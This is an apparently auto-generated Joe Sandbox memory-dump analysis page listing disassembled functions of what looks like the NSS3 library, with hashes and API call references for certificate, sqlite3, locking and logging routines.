Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 57ef1f0b3e085a9da6fa721e7a8940c17deaaefe237b3d7149352a724ee4119d
Instruction ID: 2398c7f7f11df8f1110d87aadc08b14371f07510014bffbca2a998e21c588c4b
Opcode Fuzzy Hash: 57ef1f0b3e085a9da6fa721e7a8940c17deaaefe237b3d7149352a724ee4119d
Instruction Fuzzy Hash: DEF18031B09550CBDB049F64D9AEA6E3779BF4B325B1C0229D80657E40CB39EA81CBD2

Function 6CA7A7B0 Relevance: 18.3, APIs: 12, Instructions: 340timeCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA7A7F9
EnterCriticalSection.KERNEL32(?), ref: 6CA7A810
PR_Unlock.NSS3 ref: 6CA7A828
CERT_IsUserCert.NSS3(?), ref: 6CA7A83E
CERT_GetFirstEmailAddress.NSS3(?), ref: 6CA7A865
DER_UTCTimeToTime_Util.NSS3(?,?), ref: 6CA7A9F2

Part of subcall function 6CAC71B0: PR_SetError.NSS3(FFFFE008,00000000), ref: 6CAC71E9

DER_UTCTimeToTime_Util.NSS3(?,?), ref: 6CA7AA21
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA7AAF9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA7AB14
CERT_GetNextEmailAddress.NSS3(?,?), ref: 6CA7AB4D
PK11_GetInternalKeySlot.NSS3 ref: 6CA7AB7E
PK11_ImportCert.NSS3(00000000,?,00000000,00000000,00000000), ref: 6CA7AB90

Part of subcall function 6CAB0FE0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB1057
Part of subcall function 6CAB0FE0: free.MOZGLUE(?), ref: 6CAB11A6
Part of subcall function 6CAB0FE0: PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAB11D3
Part of subcall function 6CAB0FE0: PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAB11F3

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$AddressAlloc_CertEmailItem_K11_TimeTime_Zfree$CriticalEnterErrorFirstImportInternalNextSectionSlotUnlockUserValuefreestrlen
String ID:
API String ID: 483008407-0
Opcode ID: a94626bd45dc79178065d849ac4c05817043a7ee8a14c369f83906eb35f18256
Instruction ID: 212601caa4d8f1e1b77026b0e5a21f82b899d261e19f657a3ce77de51be31e02
Opcode Fuzzy Hash: a94626bd45dc79178065d849ac4c05817043a7ee8a14c369f83906eb35f18256
Instruction Fuzzy Hash: 48C17F79A05301AFD710CF25C940A6BB7EABF84308F19592DE899C7751E731DD88CBA2

Function 6CB42D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB42D9F

Part of subcall function 6C9FCA30: EnterCriticalSection.KERNEL32(?,?,?,6CA5F9C9,?,6CA5F4DA,6CA5F9C9,?,?,6CA2369A), ref: 6C9FCA7A
Part of subcall function 6C9FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C9FCB26

sqlite3_exec.NSS3(?,?,6CB42F70,?,?), ref: 6CB42DF9
sqlite3_free.NSS3(00000000), ref: 6CB42E2C
sqlite3_free.NSS3(?), ref: 6CB42E3A
sqlite3_free.NSS3(?), ref: 6CB42E52
sqlite3_mprintf.NSS3(6CBAAAF9,?), ref: 6CB42E62
sqlite3_free.NSS3(?), ref: 6CB42E70
sqlite3_free.NSS3(?), ref: 6CB42E89
sqlite3_free.NSS3(?), ref: 6CB42EBB
sqlite3_free.NSS3(?), ref: 6CB42ECB
sqlite3_free.NSS3(00000000), ref: 6CB42F3E
sqlite3_free.NSS3(?), ref: 6CB42F4C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2c43f0fdab7b0c8443b54886d5d99509509d1270df129b912865704960aa8997
Instruction ID: 8d8906e1556722e7fd96751936585b695fb02fb776cbcc9c58f8d1b00393714f
Opcode Fuzzy Hash: 2c43f0fdab7b0c8443b54886d5d99509509d1270df129b912865704960aa8997
Instruction Fuzzy Hash: D661A1B5E082558BEB00CFA8D884BDEB7B1EF58348F158028DC55E7705E735E845EBA2

Function 6CA92C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CA93F23,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92C62
EnterCriticalSection.KERNEL32(0000001C,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92C76
PL_HashTableLookup.NSS3(00000000,?,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92C93

Part of subcall function 6CB1DD70: TlsGetValue.KERNEL32 ref: 6CB1DD8C
Part of subcall function 6CB1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB1DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23), ref: 6CA92CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CA8E477,?,?,?,00000001,00000000,?), ref: 6CA92CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CA8E477,?,?,?,00000001,00000000,?), ref: 6CA92D4D
EnterCriticalSection.KERNEL32(?), ref: 6CA92D61
PL_HashTableLookup.NSS3(?,?), ref: 6CA92D71
PR_Unlock.NSS3(?), ref: 6CA92D7E

Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607AD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607CD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607D6
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C9F204A), ref: 6CA607E4
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,6C9F204A), ref: 6CA60864
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA60880
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,6C9F204A), ref: 6CA608CB
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608D7
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608FB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: dad29f01698a55825f79da0ccb250a4a6b4cb03ac5865a9ee1b8b3c7bb1da5ca
Instruction ID: b147a9a60697ad1c72e207cc3423f94a7f1f384a89a32f5589a6f42fc779ca54
Opcode Fuzzy Hash: dad29f01698a55825f79da0ccb250a4a6b4cb03ac5865a9ee1b8b3c7bb1da5ca
Instruction Fuzzy Hash: 8C511975D10104ABDB019F34EC458AAB7B8FF1935CB088624EC1997B11E731EDA8C7E1

Function 6C9F4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4D97
PR_Lock.NSS3(?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4DBA
PR_WaitCondVar.NSS3 ref: 6C9F4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4DEF

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 1030ecf165836757f06e3392d9431a57b342093aeb19ea9417a4236a6fae81cb
Instruction ID: 748061facad08006ba931dc8001612e855a5d99f7f922b8ee0c36f4ef58b8f69
Opcode Fuzzy Hash: 1030ecf165836757f06e3392d9431a57b342093aeb19ea9417a4236a6fae81cb
Instruction Fuzzy Hash: FE4180B5A04655CFCB00AF78D594559BBF4FF05324F094669E8A89BB00E730E886CF91

Function 6CA60600 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 6CA60623
GetLastError.KERNEL32(?,?,?,?,?,6CA605E2), ref: 6CA60642
TlsGetValue.KERNEL32(?,?,?,?,?,6CA605E2), ref: 6CA6065D
GetLastError.KERNEL32 ref: 6CA60678
PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CA6068A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA60693
PR_SetErrorText.NSS3(00000000,?), ref: 6CA6069D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,3C08EEA5,?,?,?,?,?,6CA605E2), ref: 6CA606CA
PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CA605E2), ref: 6CA606E6

Strings

error %d, xrefs: 6CA60682

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$Last$AddressProcR_snprintfTextValuestrcmpstrlen
String ID: error %d
API String ID: 4000364758-2147592115
Opcode ID: 8c0dd5b523fac7257c2da60f00536d25527d0f68c1faf0fc3b4b30a5a9eea3e3
Instruction ID: 2aafffc7c10b32542a5606f6039f82c1c59b627bb434baef054346300996f22f
Opcode Fuzzy Hash: 8c0dd5b523fac7257c2da60f00536d25527d0f68c1faf0fc3b4b30a5a9eea3e3
Instruction Fuzzy Hash: 72213879E401C09BEB006B3B9C04BDA7778AF9671DF190168E80897E51EB7099D8C6E9

Function 6CABECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CABDE64), ref: 6CABED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CABED22

Part of subcall function 6CACB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBA18D0,?), ref: 6CACB095

PL_FreeArenaPool.NSS3(?), ref: 6CABED4A
PL_FinishArenaPool.NSS3(?), ref: 6CABED6B
PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CABED38

Part of subcall function 6C9F4C70: TlsGetValue.KERNEL32(?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4C97
Part of subcall function 6C9F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4CB0
Part of subcall function 6C9F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C9F3921,6CBD14E4,6CB3CC70), ref: 6C9F4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CABED52
PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CABED83
PL_FreeArenaPool.NSS3(?), ref: 6CABED95
PL_FinishArenaPool.NSS3(?), ref: 6CABED9D

Part of subcall function 6CAD64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CAD127C,00000000,00000000,00000000), ref: 6CAD650E

Strings

security, xrefs: 6CABED06

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 5f9aff2eaa9c91c51a975cc757f4a712fc5c9f8a655a9a9f9c95fa243fc6dd52
Instruction ID: e5022570b213a97c4177476e7dd6c8607fe54a686ae579c3ebab66b08244e67f
Opcode Fuzzy Hash: 5f9aff2eaa9c91c51a975cc757f4a712fc5c9f8a655a9a9f9c95fa243fc6dd52
Instruction Fuzzy Hash: 7711A67AA002446BE7005624AD44BBB737CAF0160CF060974E851B2F81FB74BA9C86E7

Function 6CAA2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CAA2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAA2D07

Part of subcall function 6CB809D0: PR_Now.NSS3 ref: 6CB80A22
Part of subcall function 6CB809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CB80A35
Part of subcall function 6CB809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CB80A66
Part of subcall function 6CB809D0: PR_GetCurrentThread.NSS3 ref: 6CB80A70
Part of subcall function 6CB809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CB80A9D
Part of subcall function 6CB809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CB80AC8
Part of subcall function 6CB809D0: PR_vsmprintf.NSS3(?,?), ref: 6CB80AE8
Part of subcall function 6CB809D0: EnterCriticalSection.KERNEL32(?), ref: 6CB80B19
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB80B48
Part of subcall function 6CB809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB80C76
Part of subcall function 6CB809D0: PR_LogFlush.NSS3 ref: 6CB80C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAA2D22

Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(?), ref: 6CB80B88
Part of subcall function 6CB809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB80C5D
Part of subcall function 6CB809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CB80C8D
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80C9C
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(?), ref: 6CB80CD1
Part of subcall function 6CB809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CB80CEC
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80CFB
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB80D16
Part of subcall function 6CB809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CB80D26
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80D35
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CB80D65
Part of subcall function 6CB809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CB80D70
Part of subcall function 6CB809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB80D90
Part of subcall function 6CB809D0: free.MOZGLUE(00000000), ref: 6CB80D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAA2D3B

Part of subcall function 6CB809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CB80BAB
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80BBA
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CAA2D54

Part of subcall function 6CB809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB80BCB
Part of subcall function 6CB809D0: EnterCriticalSection.KERNEL32(?), ref: 6CB80BDE
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(?), ref: 6CB80C16

Strings

C_InitToken, xrefs: 6CAA2CE7
ulPinLen = %d, xrefs: 6CAA2D36
slotID = 0x%x, xrefs: 6CAA2D02
pLabel = 0x%p, xrefs: 6CAA2D4F
pPin = 0x%p, xrefs: 6CAA2D1D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: f21a2d36834cb95acfa0530a9b746637e51bac23fc91ee974e4aa44751e4d7fa
Instruction ID: 98d88167c1f70feda4cf8bc98d5cd3e1d0c7698ee35f0dc059dfff32b3b1004a
Opcode Fuzzy Hash: f21a2d36834cb95acfa0530a9b746637e51bac23fc91ee974e4aa44751e4d7fa
Instruction Fuzzy Hash: 7E214C352010C4FFDB009F94ED6CA497BB5EB4631DF448124E90897623CB30AC9ECB62

Function 6CB80EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CA62357), ref: 6CB80EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CA62357), ref: 6CB80EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CB80EE6

Part of subcall function 6CB809D0: PR_Now.NSS3 ref: 6CB80A22
Part of subcall function 6CB809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CB80A35
Part of subcall function 6CB809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CB80A66
Part of subcall function 6CB809D0: PR_GetCurrentThread.NSS3 ref: 6CB80A70
Part of subcall function 6CB809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CB80A9D
Part of subcall function 6CB809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CB80AC8
Part of subcall function 6CB809D0: PR_vsmprintf.NSS3(?,?), ref: 6CB80AE8
Part of subcall function 6CB809D0: EnterCriticalSection.KERNEL32(?), ref: 6CB80B19
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB80B48
Part of subcall function 6CB809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB80C76
Part of subcall function 6CB809D0: PR_LogFlush.NSS3 ref: 6CB80C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CB80EFA

Part of subcall function 6CA6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB80F2B

Strings

Aborting, xrefs: 6CB80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CB80ED9, 6CB80EE5, 6CB80F06, 6CB80F0B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: f907de04a66bf6dfdb96a663aba32147d10a3ee7e5b007ec69b71c8bd66f1f5c
Instruction ID: 77dd1b261e65b0433616a9e2d07ce4627b1938d5c06b8cb229dda5349883ec67
Opcode Fuzzy Hash: f907de04a66bf6dfdb96a663aba32147d10a3ee7e5b007ec69b71c8bd66f1f5c
Instruction Fuzzy Hash: ACF0A4B99001647BDA003BA09C49CAF3F3DDF5A364F004024FD0957A02DA36EA5596B2

Function 6CAE4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CAE4DCB

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CAE4DE1

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
